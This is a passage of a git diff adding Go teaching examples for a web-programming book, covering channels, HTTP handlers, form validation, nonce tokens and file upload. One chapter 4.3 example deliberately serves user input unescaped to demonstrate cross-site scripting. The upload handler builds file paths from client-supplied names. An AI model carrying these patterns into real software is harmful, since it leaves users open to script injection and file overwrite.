is an int and its value is %d\n", index, value) + case string: + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + case Person: + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + default: + fmt.Println("list[%d] is of a different type", index) + } + } +} diff --git a/th/code/src/apps/ch.2.6/type_check/main.go b/th/code/src/apps/ch.2.6/type_check/main.go new file mode 100644 index 000000000..bb051f473 --- /dev/null +++ b/th/code/src/apps/ch.2.6/type_check/main.go @@ -0,0 +1,37 @@ +package main + +import ( + "fmt" + "strconv" +) + +type Element interface{} +type List []Element + +type Person struct { + name string + age int +} + +func (p Person) String() string { + return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)" +} + +func main() { + list := make(List, 3) + list[0] = 1 // an int + list[1] = "Hello" // a string + list[2] = Person{"Dennis", 70} + + for index, element := range list { + if value, ok := element.(int); ok { + fmt.Printf("list[%d] is an int and its value is %d\n", index, value) + } else if value, ok := element.(string); ok { + fmt.Printf("list[%d] is a string and its value is %s\n", index, value) + } else if value, ok := element.(Person); ok { + fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) + } else { + fmt.Println("list[%d] is of a different type", index) + } + } +} diff --git a/th/code/src/apps/ch.2.7/buffered_channel/main.go b/th/code/src/apps/ch.2.7/buffered_channel/main.go new file mode 100644 index 000000000..f65e06f23 --- /dev/null +++ b/th/code/src/apps/ch.2.7/buffered_channel/main.go @@ -0,0 +1,13 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to use a buffered channel +package main + +import "fmt" + +func main() { + c := make(chan int, 2) // change 2 to 1 will have runtime error, but 3 is fine + c <- 1 + c <- 2 + fmt.Println(<-c) + fmt.Println(<-c) +} diff --git a/th/code/src/apps/ch.2.7/goroutine/main.go b/th/code/src/apps/ch.2.7/goroutine/main.go new file mode 100644 index 000000000..bdf1f5c1c --- /dev/null +++ b/th/code/src/apps/ch.2.7/goroutine/main.go @@ -0,0 +1,20 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to launch a simple gorountine +package main + +import ( + "fmt" + "runtime" +) + +func say(s string) { + for i := 0; i < 5; i++ { + runtime.Gosched() + fmt.Println(s) + } +} + +func main() { + go say("world") // create a new goroutine + say("hello") // current goroutine +} diff --git a/th/code/src/apps/ch.2.7/range_and_close_channel/main.go b/th/code/src/apps/ch.2.7/range_and_close_channel/main.go new file mode 100644 index 000000000..ce2c4311b --- /dev/null +++ b/th/code/src/apps/ch.2.7/range_and_close_channel/main.go @@ -0,0 +1,24 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to close and interate through a channel +package main + +import ( + "fmt" +) + +func fibonacci(n int, c chan int) { + x, y := 1, 1 + for i := 0; i < n; i++ { + c <- x + x, y = y, x+y + } + close(c) +} + +func main() { + c := make(chan int, 10) + go fibonacci(cap(c), c) + for i := range c { + fmt.Println(i) + } +} diff --git a/th/code/src/apps/ch.2.7/select_channel/main.go b/th/code/src/apps/ch.2.7/select_channel/main.go new file mode 100644 index 000000000..50b237814 --- /dev/null +++ b/th/code/src/apps/ch.2.7/select_channel/main.go @@ -0,0 +1,30 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to use `select` +package main + +import "fmt" + +func fibonacci(c, quit chan int) { + x, y := 1, 1 + for { + select { + case c <- x: + x, y = y, x+y + case <-quit: + fmt.Println("quit") + return + } + } +} + +func main() { + c := make(chan int) + quit := make(chan int) + go func() { + for i := 0; i < 10; i++ { + fmt.Println(<-c) + } + quit <- 0 + }() + fibonacci(c, quit) +} diff --git a/th/code/src/apps/ch.2.7/timeout/main.go b/th/code/src/apps/ch.2.7/timeout/main.go new file mode 100644 index 000000000..4e937dbb7 --- /dev/null +++ b/th/code/src/apps/ch.2.7/timeout/main.go @@ -0,0 +1,27 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to create and use a timeout +package main + +import ( + "fmt" + "time" +) + + +func main() { + c := make(chan int) + o := make(chan bool) + go func() { + for { + select { + case v := <-c: + fmt.Println(v) + case <-time.After(5 * time.Second): + fmt.Println("timeout") + o <- true + break + } + } + }() + <-o +} diff --git a/th/code/src/apps/ch.2.7/unbuffered_channel/main.go b/th/code/src/apps/ch.2.7/unbuffered_channel/main.go new file mode 100644 index 000000000..455fd4ba7 --- /dev/null +++ b/th/code/src/apps/ch.2.7/unbuffered_channel/main.go @@ -0,0 +1,24 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to create and use a unbuffered channel +package main + +import "fmt" + +func sum(a []int, c chan int) { + total := 0 + for _, v := range a { + total += v + } + c <- total // send total to c +} + +func main() { + a := []int{7, 2, 8, -9, 4, 0} + + c := make(chan int) + go sum(a[:len(a)/2], c) + go sum(a[len(a)/2:], c) + x, y := <-c, <-c // receive from c + + fmt.Println(x, y, x+y) +} diff --git a/th/code/src/apps/ch.3.2/main.go b/th/code/src/apps/ch.3.2/main.go new file mode 100644 index 000000000..f8af3fdfd --- /dev/null +++ b/th/code/src/apps/ch.3.2/main.go @@ -0,0 +1,31 @@ +// Example code for Chapter 3.2 from "Build Web Application with Golang" +// Purpose: Shows how to acces the form values from the request +package main + +import ( + "fmt" + "log" + "net/http" + "strings" +) + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() // parse arguments, you have to call this by yourself + fmt.Println(r.Form) // print form information in server side + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") // send data to client side +} + +func main() { + http.HandleFunc("/", sayhelloName) // set router + err := http.ListenAndServe(":9090", nil) // set listen port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} diff --git a/th/code/src/apps/ch.3.4/main.go b/th/code/src/apps/ch.3.4/main.go new file mode 100644 index 000000000..fb3a5c725 --- /dev/null +++ b/th/code/src/apps/ch.3.4/main.go @@ -0,0 +1,30 @@ +// Example code for Chapter 3.4 from "Build Web Application with Golang" +// Purpose: Shows how to create a handler for `http.ListenAndServe()` +// Run `go run main.go` then access `http://localhost:9090` +package main + +import ( + "fmt" + "net/http" +) + +type MyMux struct { +} + +func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + http.NotFound(w, r) + return +} + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello myroute!") +} + +func main() { + mux := &MyMux{} + http.ListenAndServe(":9090", mux) +} diff --git a/th/code/src/apps/ch.4.1/login.gtpl b/th/code/src/apps/ch.4.1/login.gtpl new file mode 100644 index 000000000..91cd50351 --- /dev/null +++ b/th/code/src/apps/ch.4.1/login.gtpl @@ -0,0 +1,12 @@ + + + + + +
+ Username: + Password: + +
+ + diff --git a/th/code/src/apps/ch.4.1/main.go b/th/code/src/apps/ch.4.1/main.go new file mode 100644 index 000000000..04daedc10 --- /dev/null +++ b/th/code/src/apps/ch.4.1/main.go @@ -0,0 +1,48 @@ +// Example code for Chapter 4.1 from "Build Web Application with Golang" +// Purpose: Shows how to create a simple login using a template +// Run: `go run main.go`, then access `http://localhost:9090` and `http://localhost:9090/login` +package main + +import ( + "fmt" + "html/template" + "log" + "net/http" + "strings" +) + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() //Parse url parameters passed, then parse the response packet for the POST body (request body) + // attention: If you do not call ParseForm method, the following data can not be obtained form + fmt.Println(r.Form) // print information on server side. + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") // write data to response +} + +func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //get request method + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, nil) + } else { + r.ParseForm() + // logic part of log in + fmt.Println("username:", r.Form["username"]) + fmt.Println("password:", r.Form["password"]) + } +} + +func main() { + http.HandleFunc("/", sayhelloName) // setting router rule + http.HandleFunc("/login", login) + err := http.ListenAndServe(":9090", nil) // setting listening port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} diff --git a/th/code/src/apps/ch.4.2/main.go b/th/code/src/apps/ch.4.2/main.go new file mode 100644 index 000000000..63284146f --- /dev/null +++ b/th/code/src/apps/ch.4.2/main.go @@ -0,0 +1,59 @@ +// Example code for Chapter 4.2 from "Build Web Application with Golang" +// Purpose: Shows how to perform server-side validation of user input from a form. +// Also shows to use multiple template files with predefined template names. +// Run `go run main.go` and then access http://localhost:9090 +package main + +import ( + "apps/ch.4.2/validator" + "html/template" + "log" + "net/http" +) + +const ( + PORT = "9090" + HOST_URL = "http://localhost/" + PORT +) + +var t *template.Template + +type Links struct { + BadLinks [][2]string +} + +// invalid links to display for testing. +var links Links + +func index(w http.ResponseWriter, r *http.Request) { + http.Redirect(w, r, HOST_URL+"/profile", http.StatusTemporaryRedirect) +} +func profileHandler(w http.ResponseWriter, r *http.Request) { + t.ExecuteTemplate(w, "profile", links) +} +func checkProfile(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + p := validator.ProfilePage{&r.Form} + t.ExecuteTemplate(w, "submission", p.GetErrors()) +} + +// This function is called before main() +func init() { + // Note: we can reference the loaded templates by their defined name inside the template files. + t = template.Must(template.ParseFiles("profile.gtpl", "submission.gtpl")) + + list := make([][2]string, 2) + list[0] = [2]string{HOST_URL + "/checkprofile", "No data"} + list[1] = [2]string{HOST_URL + "/checkprofile?age=1&gender=guy&shirtsize=big", "Invalid options"} + links = Links{list} +} +func main() { + http.HandleFunc("/", index) + http.HandleFunc("/profile", profileHandler) + http.HandleFunc("/checkprofile", checkProfile) + + err := http.ListenAndServe(":"+PORT, nil) // setting listening port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} diff --git a/th/code/src/apps/ch.4.2/profile.gtpl b/th/code/src/apps/ch.4.2/profile.gtpl new file mode 100644 index 000000000..2eca7a8fc --- /dev/null +++ b/th/code/src/apps/ch.4.2/profile.gtpl @@ -0,0 +1,89 @@ +{{define "profile"}} + + + +

Profile Setup:

+
+
+
*User Name:
+
+
+
+
*Age:
+
+
+
+
*Email:
+
+
+
+
*Birth day:
+
+ +
+
+
+
Gender:
+
+ + + +
+
+
+
Siblings:
+
+ + +
+
+
+
Shirt Size:
+
+ +
+
+
+
Chinese Name:
+
+
+
+ *Required +
+ +
+

Invalid submissions

+
    {{range .BadLinks}} +
  1. {{index . 1}}
  2. + {{end}} +
+ + +{{end}} \ No newline at end of file diff --git a/th/code/src/apps/ch.4.2/submission.gtpl b/th/code/src/apps/ch.4.2/submission.gtpl new file mode 100644 index 000000000..fdeceed69 --- /dev/null +++ b/th/code/src/apps/ch.4.2/submission.gtpl @@ -0,0 +1,16 @@ +{{define "submission"}} + + + {{if .Errors}} +

Errors:

+
    + {{range .Errors}} +
  1. {{.}}
  2. + {{end}} +
+ {{else}} + Profile successfully submitted. + {{end}} + + +{{end}} \ No newline at end of file diff --git a/th/code/src/apps/ch.4.2/validator/main.go b/th/code/src/apps/ch.4.2/validator/main.go new file mode 100644 index 000000000..351112314 --- /dev/null +++ b/th/code/src/apps/ch.4.2/validator/main.go @@ -0,0 +1,175 @@ +// This file contains all the validators to validate the profile page. +package validator + +import ( + "errors" + "fmt" + "net/url" + "regexp" + "strconv" + "strings" + "time" +) + +type ProfilePage struct { + Form *url.Values +} +type Errors struct { + Errors []error +} + +// Goes through the form object and validates each element. +// Attachs an error to the output if validation fails. +func (p *ProfilePage) GetErrors() Errors { + errs := make([]error, 0, 10) + if *p.Form == nil || len(*p.Form) < 1 { + errs = append(errs, errors.New("No data was received. Please submit from the profile page.")) + } + for name, val := range *p.Form { + if fn, ok := stringValidator[name]; ok { + if err := fn(strings.Join(val, "")); err != nil { + errs = append(errs, err) + } + } else { + if fn, ok := stringsValidator[name]; ok { + if err := fn(val); err != nil { + errs = append(errs, err) + } + } + } + } + return Errors{errs} +} + +const ( + // Used for parsing the time + mmddyyyyForm = "01/02/2006" // we want the date sent in this format + yyyymmddForm = "2006-01-02" // However, HTML5 pages send the date in this format +) + +var stringValidator map[string]func(string) error = map[string]func(string) error{ + // parameter name : validator reference + "age": checkAge, + "birthday": checkDate, + "chineseName": checkChineseName, + "email": checkEmail, + "gender": checkGender, + "shirtsize": checkShirtSize, + "username": checkUsername, +} +var stringsValidator map[string]func([]string) error = map[string]func([]string) error{ + // parameter name : validator reference + "sibling": checkSibling, +} + +// Returns true if slices have a common element +func doSlicesIntersect(s1, s2 []string) bool { + if s1 == nil || s2 == nil { + return false + } + for _, str := range s1 { + if isElementInSlice(str, s2) { + return true + } + } + return false +} +func isElementInSlice(str string, sl []string) bool { + if sl == nil || str == "" { + return false + } + for _, v := range sl { + if v == str { + return true + } + } + return false +} + +// Checks if all the characters are chinese characters. Won't check if empty.' +func checkChineseName(str string) error { + if str != "" { + if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", strings.Trim(str, " ")); !m { + return errors.New("Please make sure that the chinese name only contains chinese characters.") + } + } + return nil +} + +// Checks if a user name exist. +func checkUsername(str string) error { + if strings.Trim(str, " ") == "" { + return errors.New("Please enter a username.") + } + return nil +} + +// Check if age is a number and between 13 and 130 +func checkAge(str string) error { + age, err := strconv.Atoi(str) + if str == "" || err != nil { + return errors.New("Please enter a valid age.") + } + if age < 13 { + return errors.New("You must be at least 13 years of age to submit.") + } + if age > 130 { + return errors.New("You're too old to register, grandpa.") + } + return nil +} +func checkEmail(str string) error { + if m, err := regexp.MatchString(`^[^@]+@[^@]+$`, str); !m { + fmt.Println("err = ", err) + return errors.New("Please enter a valid email address.") + } + return nil +} + +// Checks if a valid date was passed. +func checkDate(str string) error { + _, err := time.Parse(mmddyyyyForm, str) + if err != nil { + _, err = time.Parse(yyyymmddForm, str) + } + if str == "" || err != nil { + return errors.New("Please enter a valid Date.") + } + return nil +} + +// Checks if the passed input is a known gender option +func checkGender(str string) error { + if str == "" { + return nil + } + siblings := []string{"m", "f", "na"} + if !isElementInSlice(str, siblings) { + return errors.New("Please select a valid gender.") + } + return nil +} + +// Check if all the values are known options. +func checkSibling(strs []string) error { + if strs == nil || len(strs) < 1 { + return nil + } + siblings := []string{"m", "f"} + if siblings != nil && !doSlicesIntersect(siblings, strs) { + return errors.New("Please select a valid sibling") + } + return nil +} + +// Checks if the shirt size is a known option. +func checkShirtSize(str string) error { + if str == "" { + return nil + } + shirts := []string{"s", "m", "l", "xl", "xxl"} + if !isElementInSlice(str, shirts) { + return errors.New("Please select a valid shirt size") + } + return nil +} diff --git a/th/code/src/apps/ch.4.3/index.gtpl b/th/code/src/apps/ch.4.3/index.gtpl new file mode 100644 index 000000000..f8ac28fe0 --- /dev/null +++ b/th/code/src/apps/ch.4.3/index.gtpl @@ -0,0 +1,28 @@ + + + +

Cross Site Scripting Attack Test

+ {{if .}} + Previous User Input:
+ +
{{.}}
+ {{end}} +
+ +
+ +
+ +
+ + + diff --git a/th/code/src/apps/ch.4.3/main.go b/th/code/src/apps/ch.4.3/main.go new file mode 100644 index 000000000..20b9d4544 --- /dev/null +++ b/th/code/src/apps/ch.4.3/main.go @@ -0,0 +1,39 @@ +// Example code for Chapter 4.3 from "Build Web Application with Golang" +// Purpose: Shows how to properly escape input +package main + +import ( + "html/template" + "net/http" + textTemplate "text/template" +) + +var t *template.Template = template.Must(template.ParseFiles("index.gtpl")) + +func index(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + userInput := r.Form.Get("userinput") + if 0 < len(r.Form.Get("escape")) { + t.Execute(w, template.HTMLEscapeString(userInput)) + } else { + // Variables with type `template.HTML` are not escaped when passed to `.Execute()` + t.Execute(w, template.HTML(userInput)) + } +} +func templateHandler(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + userInput := r.Form.Get("userinput") + if 0 < len(r.Form.Get("escape")) { + // `html/template.Execute()` escapes input + t.Execute(w, userInput) + } else { + tt := textTemplate.Must(textTemplate.ParseFiles("index.gtpl")) + // `text/template.Execute()` doesn't escape input + tt.Execute(w, userInput) + } +} +func main() { + http.HandleFunc("/", index) + http.HandleFunc("/template", templateHandler) + http.ListenAndServe(":9090", nil) +} diff --git a/th/code/src/apps/ch.4.4/main.go b/th/code/src/apps/ch.4.4/main.go new file mode 100644 index 000000000..280f7ef1c --- /dev/null +++ b/th/code/src/apps/ch.4.4/main.go @@ -0,0 +1,54 @@ +// Example code for Chapter 3.2 from "Build Web Application with Golang" +// Purpose: Shows how to prevent duplicate submissions by using tokens +// Example code for Chapter 4.4 based off the code from Chapter 4.2 +// Run `go run main.go` then access http://localhost:9090 +package main + +import ( + "apps/ch.4.4/nonce" + "apps/ch.4.4/validator" + "html/template" + "log" + "net/http" +) + +const ( + PORT = "9090" + HOST_URL = "http://localhost/" + PORT +) + +var submissions nonce.Nonces +var t *template.Template + +func index(w http.ResponseWriter, r *http.Request) { + http.Redirect(w, r, HOST_URL+"/profile", http.StatusTemporaryRedirect) +} +func profileHandler(w http.ResponseWriter, r *http.Request) { + t.ExecuteTemplate(w, "profile", submissions.NewNonce()) +} +func checkProfile(w http.ResponseWriter, r *http.Request) { + var errs validator.Errors + r.ParseForm() + token := r.Form.Get("token") + if err := submissions.CheckThenMarkToken(token); err != nil { + errs = validator.Errors{[]error{err}} + } else { + p := validator.ProfilePage{&r.Form} + errs = p.GetErrors() + } + t.ExecuteTemplate(w, "submission", errs) +} +func init() { + submissions = nonce.New() + t = template.Must(template.ParseFiles("profile.gtpl", "submission.gtpl")) +} +func main() { + http.HandleFunc("/", index) + http.HandleFunc("/profile", profileHandler) + http.HandleFunc("/checkprofile", checkProfile) + + err := http.ListenAndServe(":"+PORT, nil) // setting listening port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} diff --git a/th/code/src/apps/ch.4.4/nonce/main.go b/th/code/src/apps/ch.4.4/nonce/main.go new file mode 100644 index 000000000..2e1663fef --- /dev/null +++ b/th/code/src/apps/ch.4.4/nonce/main.go @@ -0,0 +1,70 @@ +// A nonce is a number or string used only once. +// This is useful for generating a unique token for login pages to prevent duplicate submissions. +package nonce + +import ( + "crypto/md5" + "errors" + "fmt" + "io" + "math/rand" + "strconv" + "time" +) + +// Contains a unique token +type Nonce struct { + Token string +} + +// Keeps track of marked/used tokens +type Nonces struct { + hashs map[string]bool +} + +func New() Nonces { + return Nonces{make(map[string]bool)} +} +func (n *Nonces) NewNonce() Nonce { + return Nonce{n.NewToken()} +} + +// Returns a new unique token +func (n *Nonces) NewToken() string { + t := createToken() + for n.HasToken(t) { + t = createToken() + } + return t +} + +// Checks if token has been marked. +func (n *Nonces) HasToken(token string) bool { + return n.hashs[token] == true +} +func (n *Nonces) MarkToken(token string) { + n.hashs[token] = true +} +func (n *Nonces) CheckToken(token string) error { + if token == "" { + return errors.New("No token supplied") + } + if n.HasToken(token) { + return errors.New("Duplicate submission.") + } + return nil +} +func (n *Nonces) CheckThenMarkToken(token string) error { + defer n.MarkToken(token) + if err := n.CheckToken(token); err != nil { + return err + } + return nil +} +func createToken() string { + h := md5.New() + now := time.Now().Unix() + io.WriteString(h, strconv.FormatInt(now, 10)) + io.WriteString(h, strconv.FormatInt(rand.Int63(), 10)) + return fmt.Sprintf("%x", h.Sum(nil)) +} diff --git a/th/code/src/apps/ch.4.4/profile.gtpl b/th/code/src/apps/ch.4.4/profile.gtpl new file mode 100644 index 000000000..348330865 --- /dev/null +++ b/th/code/src/apps/ch.4.4/profile.gtpl @@ -0,0 +1,85 @@ +{{define "profile"}} + + + +

Profile Setup:

+
+
+
*User Name:
+
+
+
+
*Age:
+
+
+
+
*Email:
+
+
+
+
*Birth day:
+
+ +
+
+
+
Gender:
+
+ + + +
+
+
+
Siblings:
+
+ + +
+
+
+
Shirt Size:
+
+ +
+
+
+
Chinese Name:
+
+
+
+ *Required +
+ + +
+ + +{{end}} diff --git a/th/code/src/apps/ch.4.4/submission.gtpl b/th/code/src/apps/ch.4.4/submission.gtpl new file mode 100644 index 000000000..456ff6787 --- /dev/null +++ b/th/code/src/apps/ch.4.4/submission.gtpl @@ -0,0 +1,17 @@ +{{define "submission"}} + + + {{if .Errors}} +

Errors:

+
    + {{range .Errors}} +
  1. {{.}}
  2. + {{end}} +
+ {{else}} + Profile successfully submitted.
+ Note: Refreshing the page will produce a duplicate entry. + {{end}} + + +{{end}} \ No newline at end of file diff --git a/th/code/src/apps/ch.4.4/validator/main.go b/th/code/src/apps/ch.4.4/validator/main.go new file mode 100644 index 000000000..351112314 --- /dev/null +++ b/th/code/src/apps/ch.4.4/validator/main.go @@ -0,0 +1,175 @@ +// This file contains all the validators to validate the profile page. +package validator + +import ( + "errors" + "fmt" + "net/url" + "regexp" + "strconv" + "strings" + "time" +) + +type ProfilePage struct { + Form *url.Values +} +type Errors struct { + Errors []error +} + +// Goes through the form object and validates each element. +// Attachs an error to the output if validation fails. +func (p *ProfilePage) GetErrors() Errors { + errs := make([]error, 0, 10) + if *p.Form == nil || len(*p.Form) < 1 { + errs = append(errs, errors.New("No data was received. Please submit from the profile page.")) + } + for name, val := range *p.Form { + if fn, ok := stringValidator[name]; ok { + if err := fn(strings.Join(val, "")); err != nil { + errs = append(errs, err) + } + } else { + if fn, ok := stringsValidator[name]; ok { + if err := fn(val); err != nil { + errs = append(errs, err) + } + } + } + } + return Errors{errs} +} + +const ( + // Used for parsing the time + mmddyyyyForm = "01/02/2006" // we want the date sent in this format + yyyymmddForm = "2006-01-02" // However, HTML5 pages send the date in this format +) + +var stringValidator map[string]func(string) error = map[string]func(string) error{ + // parameter name : validator reference + "age": checkAge, + "birthday": checkDate, + "chineseName": checkChineseName, + "email": checkEmail, + "gender": checkGender, + "shirtsize": checkShirtSize, + "username": checkUsername, +} +var stringsValidator map[string]func([]string) error = map[string]func([]string) error{ + // parameter name : validator reference + "sibling": checkSibling, +} + +// Returns true if slices have a common element +func doSlicesIntersect(s1, s2 []string) bool { + if s1 == nil || s2 == nil { + return false + } + for _, str := range s1 { + if isElementInSlice(str, s2) { + return true + } + } + return false +} +func isElementInSlice(str string, sl []string) bool { + if sl == nil || str == "" { + return false + } + for _, v := range sl { + if v == str { + return true + } + } + return false +} + +// Checks if all the characters are chinese characters. Won't check if empty.' +func checkChineseName(str string) error { + if str != "" { + if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", strings.Trim(str, " ")); !m { + return errors.New("Please make sure that the chinese name only contains chinese characters.") + } + } + return nil +} + +// Checks if a user name exist. +func checkUsername(str string) error { + if strings.Trim(str, " ") == "" { + return errors.New("Please enter a username.") + } + return nil +} + +// Check if age is a number and between 13 and 130 +func checkAge(str string) error { + age, err := strconv.Atoi(str) + if str == "" || err != nil { + return errors.New("Please enter a valid age.") + } + if age < 13 { + return errors.New("You must be at least 13 years of age to submit.") + } + if age > 130 { + return errors.New("You're too old to register, grandpa.") + } + return nil +} +func checkEmail(str string) error { + if m, err := regexp.MatchString(`^[^@]+@[^@]+$`, str); !m { + fmt.Println("err = ", err) + return errors.New("Please enter a valid email address.") + } + return nil +} + +// Checks if a valid date was passed. +func checkDate(str string) error { + _, err := time.Parse(mmddyyyyForm, str) + if err != nil { + _, err = time.Parse(yyyymmddForm, str) + } + if str == "" || err != nil { + return errors.New("Please enter a valid Date.") + } + return nil +} + +// Checks if the passed input is a known gender option +func checkGender(str string) error { + if str == "" { + return nil + } + siblings := []string{"m", "f", "na"} + if !isElementInSlice(str, siblings) { + return errors.New("Please select a valid gender.") + } + return nil +} + +// Check if all the values are known options. +func checkSibling(strs []string) error { + if strs == nil || len(strs) < 1 { + return nil + } + siblings := []string{"m", "f"} + if siblings != nil && !doSlicesIntersect(siblings, strs) { + return errors.New("Please select a valid sibling") + } + return nil +} + +// Checks if the shirt size is a known option. +func checkShirtSize(str string) error { + if str == "" { + return nil + } + shirts := []string{"s", "m", "l", "xl", "xxl"} + if !isElementInSlice(str, shirts) { + return errors.New("Please select a valid shirt size") + } + return nil +} diff --git a/th/code/src/apps/ch.4.5/client_upload/main.go b/th/code/src/apps/ch.4.5/client_upload/main.go new file mode 100644 index 000000000..5757cc774 --- /dev/null +++ b/th/code/src/apps/ch.4.5/client_upload/main.go @@ -0,0 +1,46 @@ +package main + +import ( + "bytes" + "fmt" + "io" + "io/ioutil" + "mime/multipart" + "net/http" + "os" +) + +func checkError(err error) { + if err != nil { + panic(err) + } +} +func postFile(filename string, targetUrl string) { + bodyBuf := &bytes.Buffer{} + bodyWriter := multipart.NewWriter(bodyBuf) + fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename) + checkError(err) + + fh, err := os.Open(filename) + checkError(err) + + _, err = io.Copy(fileWriter, fh) + checkError(err) + + contentType := bodyWriter.FormDataContentType() + bodyWriter.Close() + resp, err := http.Post(targetUrl, contentType, bodyBuf) + checkError(err) + + defer resp.Body.Close() + resp_body, err := ioutil.ReadAll(resp.Body) + checkError(err) + + fmt.Println(resp.Status) + fmt.Println(string(resp_body)) +} +func main() { + target_url := "http://localhost:9090/upload" + filename := "../file.txt" + postFile(filename, target_url) +} diff --git a/th/code/src/apps/ch.4.5/index.gtpl b/th/code/src/apps/ch.4.5/index.gtpl new file mode 100644 index 000000000..aa1149c68 --- /dev/null +++ b/th/code/src/apps/ch.4.5/index.gtpl @@ -0,0 +1,15 @@ +{{define "index"}} + + + + Upload file + + +
+ + + +
+ + +{{end}} diff --git a/th/code/src/apps/ch.4.5/main.go b/th/code/src/apps/ch.4.5/main.go new file mode 100644 index 000000000..24591dcf8 --- /dev/null +++ b/th/code/src/apps/ch.4.5/main.go @@ -0,0 +1,64 @@ +// Example code for Chapter 4.5 +// Purpose is to create a server to handle uploading files. +package main + +import ( + "apps/ch.4.4/nonce" + "apps/ch.4.4/validator" + "fmt" + "html/template" + "io" + "mime/multipart" + "net/http" + "os" +) + +const MiB_UNIT = 1 << 20 + +var t *template.Template +var submissions nonce.Nonces = nonce.New() + +func checkError(err error) { + if err != nil { + panic(err) + } +} +func indexHandler(w http.ResponseWriter, r *http.Request) { + err := t.ExecuteTemplate(w, "index", submissions.NewToken()) + checkError(err) +} +func uploadHandler(w http.ResponseWriter, r *http.Request) { + var errs validator.Errors + r.ParseMultipartForm(32 * MiB_UNIT) + token := r.Form.Get("token") + if err := submissions.CheckThenMarkToken(token); err != nil { + errs = validator.Errors{[]error{err}} + } else { + file, handler, err := r.FormFile("uploadfile") + checkError(err) + saveUpload(file, handler) + } + err := t.ExecuteTemplate(w, "upload", errs) + checkError(err) +} +func saveUpload(file multipart.File, handler *multipart.FileHeader) { + defer file.Close() + fmt.Printf("Uploaded file info: %#v", handler.Header) + localFilename := fmt.Sprintf("./uploads/%v.%v", handler.Filename, submissions.NewToken()) + f, err := os.OpenFile(localFilename, os.O_WRONLY|os.O_CREATE, 0666) + checkError(err) + defer f.Close() + _, err = io.Copy(f, file) + checkError(err) +} +func init() { + var err error + t, err = template.ParseFiles("index.gtpl", "upload.gtpl") + checkError(err) +} +func main() { + http.HandleFunc("/", indexHandler) + http.HandleFunc("/upload", uploadHandler) + err := http.ListenAndServe(":9090", nil) + checkError(err) +} diff --git a/th/code/src/apps/ch.4.5/nonce/main.go b/th/code/src/apps/ch.4.5/nonce/main.go new file mode 100644 index 000000000..2e1663fef --- /dev/null +++ b/th/code/src/apps/ch.4.5/nonce/main.go @@ -0,0 +1,70 @@ +// A nonce is a number or string used only once. +// This is useful for generating a unique token for login pages to prevent duplicate submissions. +package nonce + +import ( + "crypto/md5" + "errors" + "fmt" + "io" + "math/rand" + "strconv" + "time" +) + +// Contains a unique token +type Nonce struct { + Token string +} + +// Keeps track of marked/used tokens +type Nonces struct { + hashs map[string]bool +} + +func New() Nonces { + return Nonces{make(map[string]bool)} +} +func (n *Nonces) NewNonce() Nonce { + return Nonce{n.NewToken()} +} + +// Returns a new unique token +func (n *Nonces) NewToken() string { + t := createToken() + for n.HasToken(t) { + t = createToken() + } + return t +} + +// Checks if token has been marked. +func (n *Nonces) HasToken(token string) bool { + return n.hashs[token] == true +} +func (n *Nonces) MarkToken(token string) { + n.hashs[token] = true +} +func (n *Nonces) CheckToken(token string) error { + if token == "" { + return errors.New("No token supplied") + } + if n.HasToken(token) { + return errors.New("Duplicate submission.") + } + return nil +} +func (n *Nonces) CheckThenMarkToken(token string) error { + defer n.MarkToken(token) + if err := n.CheckToken(token); err != nil { + return err + } + return nil +} +func createToken() string { + h := md5.New() + now := time.Now().Unix() + io.WriteString(h, strconv.FormatInt(now, 10)) + io.WriteString(h, strconv.FormatInt(rand.Int63(), 10)) + return fmt.Sprintf("%x", h.Sum(nil)) +} diff --git a/th/code/src/apps/ch.4.5/upload.gtpl b/th/code/src/apps/ch.4.5/upload.gtpl new file mode 100644 index 000000000..4c55c5c54 --- /dev/null +++ b/th/code/src/apps/ch.4.5/upload.gtpl @@ -0,0 +1,17 @@ +{{define "upload"}} + + + {{if .Errors}} +

Errors:

+
    + {{range .Errors}} +
  1. {{.}}
  2. + {{end}} +
+ {{else}} + File uploaded successfully.
